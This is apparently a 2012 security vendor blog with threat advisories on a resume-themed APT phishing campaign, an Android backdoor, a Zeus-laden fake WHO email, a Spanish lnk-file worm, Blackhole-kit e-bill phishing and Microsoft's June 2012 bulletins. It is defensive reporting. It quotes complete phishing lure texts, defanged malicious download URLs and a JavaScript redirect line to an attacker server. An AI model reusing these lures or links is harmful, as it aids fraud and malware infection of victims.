12345

7/22/2012

[Warning] Detected APT attack for Korean famous web portal site (#Update 02)

1. Introduction

INCA Internet response team detected APT type e-mail which is disguised as resume on Korean famous web portal site. This e-mail contains attachment "My resume.doc" which uses CVE-2012-0158 exploit and tries to install another malicious file secretly. If user is exposed by security vulnerability, attacker can collect user PC and user's company's information. 



Usually this kind of attacking method is popular, however, general user hard to recognize of being targeted. Using document file exploit is classical and has been used so far. Users need to be careful on downloading and executing attachment of suspicious e-mail.

INCA Internet response team sent this issue and related information to security manager of that web site.




2. Malicious file attacking procedure and technique

Detail content is as following.

Title : 
FW: Job application

Body :   
Dear (~~):
Good morning. I am honored to be here to get the opportunity to become a potential member of (the name of portal site).
As a college graduate, I believe “where there is a will, there is a way”, and I will try my best to do a good job in my business. So I sincerely hope that I can make a position in your company so that I can serve for the company.
I participated in lots of school activities and social practice during my four years of campus life. And the experience did a good job to improve the skill of communication and enhance the ability of organization. Also, my sense of team spirit is developed. I’m a person who likes challenges.
Specialties:
a. Good command of both oral and writing English, and excellent skills of business negotiation.
b. Special experiences in project coordination, project documentation establishment and management.
c. Able to work under pressure, independent, and strong ability to communicate with various people.
I am enclosing my resume together with my photo, and believe that they may be found satisfactory.. I assure you that if appointed, I will do my best to give your satisfaction.

pass:resume
Very truly yours
san
That'all,thanks for your attentio

attachment :
My resume.doc


(#Update 02)
Same malicious file has been sent to Japanese company.


Its body is as following.

Hello First joined the company is honored to support.I am a graduate of the University, "Where there is a will there is a way saying," and believe, the company recognized that the people I will do my best. In addition, to thank your company would like to contribute.


During my college participated in various extracurricular activities and community service were the basis of these experiences, as well as communications for organizations to adapt I think.In addition, proficient in team play to know where to enjoy the challenge.


Advantages:
a) Good at English speaking and writing and business negotiations.
b) Project management, and plenty of experience in document creation
c) Ability to handle business on my own good and Excellent communication skills.


I enclosed my resume with a picture. If you give the incident a chance I'll do my best every day.


password: resume


Thank you.

Upon executing malicious attachment "My resume.doc", it will create normal "My resume.doc" on temp folder and run. Its content is as following.


It shows MS Word contents, however, it will create several malicious files for infecting system.

rc.exe is normal MS resource compiler file.


Malicious file tries to access on certain host in Hong Kong, and records key logging history on kl.log.

Following image shows key logging test history. With this file, user's working history can be recorded and leaked.


Malicious file will connect user's PC to certain host in Hong Kong and wait additional command which makes user in danger.


3. Summary

Targeting to a specific organization or company's internal staff to malicious files from infecting computer can't be easily found. Especially for general user, they can't find that they were infected. Therefore, users need to be careful from these security threats. To use PC safely from security threats of these malicious attachments, we recommend you download latest security updates and obey following "Security management tips" for general users.

Security management tips

1. Maintain the latest security update on OS and applications
2. Use anti-virus SW from believable security company and keep updating the latest engine and using real time detecting function
3. Do not see and download attached file from suspicious e-mail.
4. Keep caution to link from instant messenger and SNS.

INCA Internet (Security Response Center / Emergency Response Team) runs responding system against various security threats.
nProtect Anti-Virus/Spyware v3.0 diagnoses and treats various variant files.

Free installation link of nProtect AVS : http://avs.nprotect.com/

[Information] Malicious app disguised smartphone information checking tool

1. Introduction

INCA Internet response team detected malicious application which collects smartphone information and tries to leak collected information on Chinese unofficial Android market. This malicious application is introduced as a collecting tool on smartphone; however, it collects various information and tries to leak collected information in the case of being routed. If this application gets root permission, it can connect on certain extenal server and can perform various malicious behaviors. Therefore, users need to be careful on using smartphone.



2. Spreading path and symptom of infection

This malicious file can be spread via Chinese unofficial Android markets.


Of course, this app hasn't appear in Korea so far. But this app can be installed in Android smartphone.

This malicious application requires following permissions


Requiring permissions

- android:name="android.permission.READ_PHONE_STATE"
- android:name="android.permission.INSTALL_PACKAGES"
- android:name="android.permission.DELETE_PACKAGES"
- android:name="android.permission.ACCESS_NETWORK_STATE"
- android:name="android.permission.ACCESS_COARSE_LOCATION"
- android:name="android.permission.INTERNET"
- android:name="android.permission.ACCESS_FINE_LOCATION"

Besides, this application will create icon as following after complete installation.


Malicious behaviors

- Require root permission on rooted smartphone
- Install additional malicious application
- Collect smartphone device information and try to leak

If infected smartphone is rooted, malicious application will require root permission.


This malicious application registers one receiver and one service. It can work following malicious behaviors.

Malicious behaviors of receiver and service

::Receiver(PR.class)
- It monitors installation status of malicious application(audio.service.apk) with broadcase receiver.
- It starts this application after installed additional malicious application

::Service(IS.class)
- It checks rooting status.
- It requires root permission if routed.

Additional malicious application is located in malicious file with encrypted which can be installed after decrypted with following code.


Furthermore, it will collects smartphone device information with following code.


Collected smartphone device information can be shown on user with image files.


Besides, collected information can be leaked on certain external site with following code.


Following figures are the collected information and external site.

Collected and being leaked smartphone device information

- IMEI
- IMSI
- GPS info(CELL type)
- SIM status(Communication available statue)
- Network provider info
- Roaming status

External site URL

- http://svr.[~~].com/Notice/

Malicious behavior of audio.service.apk(Additionally downloaded malicious file)

This additional malicious application also works similar as previous malicious application.

Malicious behaviors of audio.service.apk

- Check rooting status
- Collect smartphone device info and leak to external site

But, additionally installed malicious application collects little different information.

Collected smartphone device info

- IMEI
- IMSI
- GPS info(CELL type)
- Smartphone model info
- SDK info
- Version info(2.01)
- Network status info(3G, LTE, WIFI)

URL of external site

- http://svr.(~~~).com/Foreuner/

3. How to prevent

Working malicious application after get route permission can modify device. Therefore, it can cause downloading additional malicious application or send premium SMS. To use smartphone safely from security threats of these malicious applications, we recommend following tips "Smartphone security management tips" for general users.

Smartphone security management tips

1. Use anti-virus SW from believable security company and keep updating the latest engine and using real time detecting function.
2. Download the proven application by multiple users at all times.
3. Use mobile anti-virus SW to check downloaded application before using it.
4. Do not visit suspicious or unknown site via smartphone.
5. Try not to see MMS, text, e-mail from uncertain user.
6. Set strong password on smartphone always.
7. Turn the wireless interfaces like Bluetooth only be used.
8. Do not save important information on phone.
9. Do not try illegal customizing like rooting or jailbreak.

INCA Internet (Security Response Center / Emergency Response Team) provides diagnosis/treatment function with “nProtect Mobile for Android” for mobile such as malicious file stated above and runs responding system against various security threats.


Diagnosis name

- Backdoor/Android.Xsider.A
- Backdoor/Android.Xsider.B

7/15/2012

[Warning] Malicious e-mail disguised as Truvada used for the treatment of HIV.

1. Introduction

INCA Internet response team detected malicious e-mail disguised as sent by WHO(World Health Organization). This e-mail contains malicious file. This e-mail can be shown as information of Truvada's PDF file, one of treatments of HIV, during the pregnancy. Human immunodeficiency virus (HIV) is a lentivirus (a member of the retrovirus family) that causes acquired immunodeficiency syndrome (AIDS), a condition in humans in which progressive failure of the immune system allows life-threatening opportunistic infections and cancers to thrive.




2. Spreading cases

[Warning] Malicious e-mails disguised as e-bill are spreading
http://en-erteam.nprotect.com/2012/07/warning-malicious-e-mails-disguised-as.html

Malicious e-mail used its sender's mail address for WHOupdates@doctor.com, which induces user to see information, and its file name and title are disguising as Truvada's.

E-mail title : effects of HIV prevention pills(TRUVADA) in pregnancy
Attachment : truvada pills in pregnancy.scr


"truvada pills in pregnancy.scr" has its extension as SCR(Screen Saver) though, it is executable file. Its icon is shown as PDF which can make user confused unless extension hiding option.


Upon executing, it will create certain folder below "Application Data" and certain malicious file.

Created file is Zeus Bot malicious file and tries to target online banking user.


3. Summary

Spreading malicious file with e-mail is very traditional. But a lot of users are still trying to open its attachment and being infected. To use PC safely from security threats of these malicious attachments, we recommend you download latest security updates and obey following "Security management tips" for general users.

Security management tips

1. Maintain the latest security update on OS and applications
2. Use anti-virus SW from believable security company and keep updating the latest engine and using real time detecting function
3. Do not see and download attached file from suspicious e-mail.
4. Keep caution to link from instant messenger and SNS.

INCA Internet (Security Response Center / Emergency Response Team) runs responding system against various security threats.

[Information] Malicious e-mail disguised as sent from wine company


1. Introduction

INCA Internet response team detected malicious e-mail disguised as sent from one of premium wine and spirits distributors. This malicious e-mail has real name and mail address on sender field of Denmark branch. The main feature is that it uses link file for its infection. Besides, once infected, it forcibly stops on certain Anti-Virus programs and shows main screen of certain messenger including MSN. Those files were written in Spanish and it hasn't been found in Korea so far.

With booming of being spread these kinds of malicious files, users need to be careful on using internet and be safe from malicious e-mails.



2. Spreading cases and symptom of infection

This malicious file is disguised as sent from wine company and induces user to download malicious file. Once infected, it collects victim's mail contacts and tries to spread same mail to collected address.


It shows that sender's address is from Denmark branch. Users can be easily dazzled. Following image is real "Jacob Hertz".


Malicious functions are as following.

Malicious functions

- Downloads additional malicious file
- Forcibly kills Anti-Virus program(Avira)
- Changes start page
- Registers malicious link file on start-up program
- Activates remote desktop
- Deactivates Task manager
- Continuous linking on certain external site(It can work as a Bot on sometimes)
- Changes all folder's property as hidden and creates link file as same name as existed folder

We can find 2 Ink files after extracting.


2 lnk files


- Informacion Importante.lnk (1,778 bytes)
- Mejores Amigos.lnk (1,762 bytes)

These icons are being looked like as help file and messenger. On running, both can download additional malicious file with using "mshta.exe", application related executable file. Following figure shows commands.


On executing additional malicious file(msnmsgr.tpl) by certain command, it will download various script file and malicious files.

Downloaded malicious script files download other malicious files to be shown as a MSN messenger(Spainish version).


Besides, it changes start page, deactivates task manager, activates remote desktop and sets shell script command.


With using certain command, it kills Anti-Virus(Avira) and browsersIt tries to access on certain external server and can download additional malicious file and be worked as a bot by certain command from remote server.


It changes all folders property to hidden and creates link files on being infected.


These new link files looked same as previous folders. Users can click these files.

Following malicious behavior also can be worked.


3. How to prevent

Spreading malicious file with e-mail is very traditional. But a lot of users are still trying to open its attachment and being infected. To use PC safely from security threats of these malicious attachments, we recommend you download latest security updates and obey following "Security management tips" for general users.

Security management tips

1. Maintain the latest security update on OS and applications
2. Use anti-virus SW from believable security company and keep updating the latest engine and using real time detecting function
3. Do not see and download attached file from suspicious e-mail.
4. Keep caution to link from instant messenger and SNS.

INCA Internet (Security Response Center / Emergency Response Team) runs responding system against various security threats.

Microsoft Security Bulletin Summary for June 2012

1. Introduction 

Microsoft(MS)'s regular security updates were released for June 2012.
Users who use MS OS strongly recommended update to be safe from Vulnerabilities in .NET Framework Could Allow Remote Code Execution, Vulnerability in .NET Framework Could Allow Remote Code Execution, Vulnerabilities in Lync Could Allow Remote Code Execution, Vulnerability in Microsoft Dynamics AX Enterprise Portal Could Allow Elevation of Privilege, Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege and Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege.



2. Update details

[Critical]
[MS12-036] Vulnerabilities in .NET Framework Could Allow Remote Code Execution (2693777)
Vulnerability: Remote Desktop Protocol Vulnerability - CVE-2012-0173

This security update resolves two privately reported vulnerabilities in the .NET Framework. The vulnerabilities could allow remote code execution on a client system if a user views a specially crafted webpage using a web browser that can run XAML Browser Applications (XBAPs). Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

Affected Softwares

- Windows XP SP3
- Windows XP Professional x64 Edition SP2
- Windows Server 2003 SP2
- Windows Server 2003 x64 Edition SP2
- Windows Server 2003 Itanium-based SP2
- Windows Vista SP2
- Windows Vista x64 Edition SP2
- Windows Server 2008 for 32bit and Windows 2008 for 32bit SP2
- Windows Server 2008 for x64-based and Windows Server 2008 for x64-based SP2
- Windows Server 2008 for Itanium-based and Windows Server 2008 for Itanium SP2
- Windows 7 for 32-bit and Windows 7 for 32bit SP1
- Windows 7 for x64-based and Windows 7 for x64-based SP1
- Windows Server 2008 R2 for x64-based and Windows Server R2 for x64-based SP1
- Windows Server 2008 R2 for Itanium-based and Windows Server 2008 R2 for Itanium SP1

- Reference site

http://technet.microsoft.com/en-us/security/bulletin/MS12-036



[Critical]
[MS12-037] Cumulative Security Update for Internet Explorer (2699988)

Vulnerability: Center Element Remote Code Execution Vulnerability - CVE-2012-1523
HTML Sanitization Vulnerability - CVE-2012-1858
EUC-JP Character Encoding Vulnerability - CVE-2012-1872
Null Byte Information Disclosure Vulnerability - CVE-2012-1873
Developer Toolbar Remote Code Execution Vulnerability - CVE-2012-1874
Same ID Property Remote Code Execution Vulnerability - CVE-2012-1875
Col Element Remote Code Execution Vulnerability - CVE-2012-1876
Title Element Change Remote Code Execution Vulnerability - CVE-2012-1877
OnBeforeDeactivate Event Remote Code Execution Vulnerability - CVE-2012-1878
insertAdjacentText Remote Code Execution Vulnerability - CVE-2012-1879
insertRow Remote Code Execution Vulnerability - CVE-2012-1880
OnRowsInserted Event Remote Code Execution Vulnerability - CVE-2012-1881
Scrolling Events Information Disclosure Vulnerability - CVE-2012-1882

This security update resolves one publicly disclosed and twelve privately reported vulnerabilities in Internet Explorer. The most severe vulnerabilities could allow remote code execution if a user views a specially crafted webpage using Internet Explorer. An attacker who successfully exploited any of these vulnerabilities could gain the same user rights as the current user. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.

Affected Softwares

- Internet Explorer 6 with Windows XP Service Pack 3
- Internet Explorer 6 with Windows XP Professional x64 Edition SP2
- Internet Explorer 6 with Windows Server 2003 SP2
- Internet Explorer 6 with Windows Server 2003 x64 Edition SP2
- Internet Explorer 6 with Windows Server 2003 with SP2 for Itanium-based Systems
- Internet Explorer 7 with Windows XP SP3
- Internet Explorer 7 with Windows XP Professional x64 Edition SP2
- Internet Explorer 7 with Windows Server 2003 SP2
- Internet Explorer 7 with Windows Server 2003 x64 Edition SP2
- Internet Explorer 7 with Windows Server 2003 with SP2 for Itanium-based Systems
- Internet Explorer 7 whit Windows Vista SP2
- Internet Explorer 7 with Windows Vista x64 Edition SP2
- Internet Explorer 7 with Windows Server 2008 for 32-bit Systems SP2
- Internet Explorer 7 with Windows Server 2008 for x64-based Systems SP2
- Internet Explorer 7 with Windows Server 2008 for Itanium-based Systems SP2
- Internet Explorer 8 with Windows XP SP3
- Internet Explorer 8 with Windows XP Professional x64 Edition SP2
- Internet Explorer 8 with Windows Server 2003 SP2
- Internet Explorer 8 with Windows Server 2003 x64 Edition SP2
- Internet Explorer 8 with Windows 7 for 32-bit and Windows 7 for 32-bit SP1
- Internet Explorer 8 with Windows 7 for x64-based and Windows 7 for x64-based SP1
- Internet Explorer 8 whit Windows Vista SP2
- Internet Explorer 8 with Windows Vista x64 Edition SP2
- Internet Explorer 8 with Windows Server 2008 for 32-bit Systems SP2
- Internet Explorer 8 with Windows Server 2008 for 64-bit Systems SP2
- Internet Explorer 8 with Windows 2008 R2 for x64-based Systems SP1
- Internet Explorer 8 with Windows 2008 R2 for Itanium-based Systems SP1
- Internet Explorer 9 with Windows Vista SP2
- Internet Explorer 9 with Windows Vista x64 Edition SP2
- Internet Explorer 9 with Windows Server 2008 for 32-bit SP2
- Internet Explorer 9 with Windows Server 2008 for 64-bit Itanium-based Systems SP2
- Internet Explorer 9 with Windows 7 for 32-bit and Windows 7 for 32-bit SP1
- Internet Explorer 9 with Windows 7 for x64-based and Windows 7 for x64-based SP1
- Internet Explorer 9 with Windows Server 2008 R2 for 64-bit and Windows Server 2008 R2 for 64-bit SP1

- Reference site

http://technet.microsoft.com/en-us/security/bulletin/MS12-037



[Critical]
[MS12-038] Vulnerability in .NET Framework Could Allow Remote Code Execution (2706726)
Vulnerability: .NET Framework Memory Access Vulnerability - CVE-2012-1855

This security update resolves one privately reported vulnerability in the Microsoft .NET Framework. The vulnerability could allow remote code execution on a client system if a user views a specially crafted webpage using a web browser that can run XAML Browser Applications (XBAPs). Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights. The vulnerability could also be used by Windows .NET Framework applications to bypass Code Access Security (CAS) restrictions. In a web browsing attack scenario, an attacker could host a website that contains a webpage that is used to exploit this vulnerability. In addition, compromised websites and websites that accept or host user-provided content or advertisements could contain specially crafted content that could exploit this vulnerability. In all cases, however, an attacker would have no way to force users to visit these websites. Instead, an attacker would have to convince users to visit the website, typically by getting them to click a link in an email message or Instant Messenger message that takes users to the attacker's website.

Affected Softwares

- Windows XP SP3 for Microsoft .NET Framework 2.0 SP2
- Windows XP SP3 for Microsoft .NET Framework 4
- Windows XP Professional x64 Edition SP2 for Microsoft .NET Framework 2.0 SP2
- Windows XP Professional x64 Edition SP2 for Microsoft .NET Framework 4
- Windows Server 2003 SP2 for Microsoft .NET Framework 2.0 SP2
- Windows Server 2003 SP2 for Microsoft .NET Framework 4
- Windows Server 2003 x64 Edition SP2 for Microsoft .NET Framework 2.0 SP2
- Windows Server 2003 x64 Edition SP2 for Microsoft .NET Framework 4
- Windows Server 2003 SP2 Itanium-based for Microsoft .NET Framework 2.0 SP2
- Windows Server 2003 SP2 Itanium-based for Microsoft .NET Framework 4
- Windows Vista SP2 for Microsoft .NET Framework 2.0 SP2
- Windows Vista SP2 for Microsoft .NET Framework 4
- Windows Vista x64 Edition SP2 for Microsoft .NET Framework 2.0 SP2
- Windows Vista x64 Edition SP2 for Microsoft .NET Framework 4
- Windows 2008 for 32bit SP2 for Microsoft .NET Framework 2.0 SP2
- Windows 2008 for 32bit SP2 for Microsoft .NET Framework 4
- Windows Server 2008 for x64-based SP2 for Microsoft .NET Framework 2.0 SP2
- Windows Server 2008 for x64-based SP2 for Microsoft .NET Framework 4
- Windows Server 2008 for Itanium SP2 for Microsoft .NET Framework 2.0 SP2
- Windows Server 2008 for Itanium SP2 for Microsoft .NET Framework 4
- Windows 7 for 32-bit for Microsoft .NET Framework 3.5.1
- Windows 7 for 32-bit for Microsoft .NET Framework 4
- Windows 7 for 32bit SP1 for Microsoft .NET Framework 3.5.1
- Windows 7 for 32bit SP1 for Microsoft .NET Framework 4
- Windows 7 for x64-based for Microsoft .NET Framework 3.5.1
- Windows 7 for x64-based SP1 for Microsoft .NET Framework 4
- Windows Server 2008 R2 for x64-based for Microsoft .NET Framework 3.5.1*
- Windows Server 2008 R2 for x64-based for Microsoft .NET Framework 4
- Windows Server 2008 R2 for x64-based SP1 for Microsoft .NET Framework 3.5.1*
- Windows Server 2008 R2 for x64-based SP1 for Microsoft .NET Framework 4 *
- Windows Server 2008 R2 for Itanium-based for Microsoft .NET Framework 3.5.1
- Windows Server 2008 R2 for Itanium-based for Microsoft .NET Framework 4
- Windows Server 2008 R2 for Itanium SP1 for Microsoft .NET Framework 3.5.1

- Reference site

http://technet.microsoft.com/en-us/security/bulletin/MS12-038



[Important]
[MS12-039] Vulnerabilities in Lync Could Allow Remote Code Execution (2707956)

Vulnerability: TrueType Font Parsing Vulnerability - CVE-2011-3402
TrueType Font Parsing Vulnerability - CVE-2012-0159
Lync Insecure Library Loading Vulnerability - CVE-2012-1849
HTML Sanitization Vulnerability - CVE-2012-1858

This security update resolves one publicly disclosed vulnerability and three privately reported vulnerabilities in Microsoft Lync. The most severe vulnerabilities could allow remote code execution if a user views shared content that contains specially crafted TrueType fonts.

Affected Softwares

- Microsoft Communicator 2007 R2
- Microsoft Lync 2010 (32-bit)
- Microsoft Lync 2010 (64-bit)
- Microsoft Lync 2010 Attendee
- Microsoft Lync 2010 Attendee
- Microsoft Lync 2010 Attendant (32-bit)
- Microsoft Lync 2010 Attendant (64-bit)

- Reference site

http://technet.microsoft.com/en-us/security/bulletin/MS12-039



[Important]
[MS12-040] Vulnerability in Microsoft Dynamics AX Enterprise Portal Could Allow Elevation of Privilege (2709100)
Vulnerability: Dynamics AX Enterprise Portal XSS Vulnerability - CVE-2012-1857

This security update resolves one privately reported vulnerability in Microsoft Dynamics AX Enterprise Portal. The vulnerability could allow elevation of privilege if a user clicks a specially crafted URL or visits a specially crafted website. In an email attack scenario, an attacker could exploit the vulnerability by sending an email message that contains the specially crafted URL to the user of the targeted Microsoft Dynamics AX Enterprise Portal site and by convincing the user to click the specially crafted URL. Internet Explorer 8 and Internet Explorer 9 users browsing to a Microsoft Dynamics AX Enterprise Portal site in the Internet Zone are at a reduced risk. By default, the XSS Filter in Internet Explorer 8 and Internet Explorer 9 prevents this attack in the Internet Zone. However, the XSS Filter in Internet Explorer 8 and Internet Explorer 9 is not enabled by default in the Intranet Zone.

Affected Softwares

- Microsoft Dynamics AX 2012

- Reference site

http://technet.microsoft.com/en-us/security/bulletin/MS12-040



[Important]
[MS12-041] Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2709162)

Vulnerability: String Atom Class Name Handling Vulnerability - CVE-2012-1864
String Atom Class Name Handling Vulnerability - CVE-2012-1865
Clipboard Format Atom Name Handling Vulnerability - CVE-2012-1866
Font Resource Refcount Integer Overflow Vulnerability - CVE-2012-1867
Win32k.sys Race Condition Vulnerability - CVE-2012-1868

This security update resolves five privately reported vulnerabilities in Microsoft Windows. The vulnerabilities could allow elevation of privilege if an attacker logs on to a system and runs a specially crafted application. An attacker must have valid logon credentials and be able to log on locally to exploit any of these vulnerabilities.

Affected Softwares

- Windows XP SP3
- Windows XP Professional x64 Edition SP2
- Windows Server 2003 SP2
- Windows Server 2003 x64 Edition SP2
- Windows Server 2003 Itanium-based SP2
- Windows Vista SP2
- Windows Vista x64 Edition SP2
- Windows Server 2008 for 32bit and Windows 2008 for 32bit SP2
- Windows Server 2008 for x64-based and Windows Server 2008 for x64-based SP2
- Windows Server 2008 for Itanium-based and Windows Server 2008 for Itanium SP2
- Windows 7 for 32-bit and Windows 7 for 32bit SP1
- Windows 7 for x64-based and Windows 7 for x64-based SP1
- Windows Server 2008 R2 for x64-based and Windows Server R2 for x64-based SP1
- Windows Server 2008 R2 for Itanium-based and Windows Server 2008 R2 for Itanium SP1

- Reference site

http://technet.microsoft.com/en-us/security/bulletin/MS12-041



[Important]
[MS12-042] Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2711167)

Vulnerability: User Mode Scheduler Memory Corruption Vulnerability - CVE-2012-0217
BIOS ROM Corruption Vulnerability - CVE-2012-1515

This security update resolves one privately reported vulnerability and one publicly disclosed vulnerability in Microsoft Windows. The vulnerabilities could allow elevation of privilege if an attacker logs on to an affected system and runs a specially crafted application that exploits the vulnerability. An attacker must have valid logon credentials and be able to log
on locally to exploit this vulnerability. The vulnerability could not be exploited remotely or by anonymous users.

Affected Softwares

- Windows XP SP3
- Windows Server 2003 SP2
- Windows 7 for x64-based and Windows 7 for x64-based SP1 *
- Windows Server 2008 R2 for x64-based and Windows Server R2 for x64-based SP1 *

- Reference site

http://technet.microsoft.com/en-us/security/bulletin/MS12-042

[Warning] Malicious e-mails disguised as e-bill are spreading


1. Introduction

INCA Internet response team detected malicious e-mail disguised as Windstream service in Korea. Its title is "Your Windstream bill is available for viewing". It doesn't contain attachment; however, it has malicious link for trying to infect malicious file. It contains various malicious web sites, which is run by Blackhole Web Malware Exploitation Kit, attacker can monitor infection status and can attack with various exploits on real-time. Because there are a lot of malicious e-mails in Korea in these days, users need to be careful by these malicious e-mails.



- E-mail disguised as sent by Windstream
- No attachment, to induce user to click malicious URL
- Hard to detect due to various malicious web sites
- Being infected by just clicking

2. The body of malicious e-mail

[Warning] Malicious e-mails disguising as image file were found.

[Warning] Malicious personal message from fake LinkedIn friend

[Warning] Malicious file about portrait infringement 

E-mail can be sent to uncertain users as following types. Its body contains various malicious URLs.


Title : Your Windstream bill is available for viewing


Its body contains various malicious URLs.

hxxp://kocaeliyuz****.com/XRVTGJvu/index.html?s=883&lid=2324&elq=11f7b1b5179f45b09737bdf10d0fe61f

hxxp://findingaplu****.com/cousfaek/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61f

hxxp://glassdirec****.com.au/8t6d37YU/index.html?s=883&lid=2325&elq=11f7b1b5179f45b09737bdf10d0fe61f

hxxp://miespaciopil****.com/5AWZcNGb/index.html?s=883&lid=2327&elq=11f7b1b5179f45b09737bdf10d0fe61f

hxxp://radiog****.net/8t6d37YU/index.html?s=883&lid=2328&elq=11f7b1b5179f45b09737bdf10d0fe61f

hxxp://seven****.co.za/Zb2s9AuQ/index.html?s=883&lid=2328&elq=11f7b1b5179f45b09737bdf10d0fe61f


Upon clicking link, it will redirect browser to malicious web site and will be exposed by various exploits.


Web site shows following image due to js.js, installs various malicious files and redirects to normal msn.com.

hxxp://ican****.co.uk/wvGCntXp/js.js
hxxp://www.camargotur****.com.br/9jNMTCoL/js.js

js.js contains following contents.

document.location='http://184.***.**.237/search.php?q=fa16f5d3def51288';


It tries to install with using Adobe Flash Player, JAVA exploit.

hxxp://184.***.**.237/data/ap2.php

hxxp://akradugunsalo*****.com/k0g2Cgr9/nn4hWpH.exe
hxxp://annonceagr*****.com/eud7io3A/M13ZGPt.exe


This malicious file tries to access certain site by injected code on explorer.exe.
It can be worked by C&C(Command and Control).


Besides, attacker can monitor infected PCs and can control.




3. Summary

Recently, this kind of technique, inducing user to click type, is prevalent in Korea. Therefore, users need to be careful on using internet. To use PC safely from security threats of these malicious attachments, we recommend you download latest security updates and obey following "Security management tips" for general users.

Security management tips

1. Maintain the latest security update on OS and applications
2. Use anti-virus SW from believable security company and keep updating the latest engine and using real time detecting function
3. Do not see and download attached file from suspicious e-mail.
4. Keep caution to link from instant messenger and SNS.

INCA Internet (Security Response Center / Emergency Response Team) runs responding system against various security threats.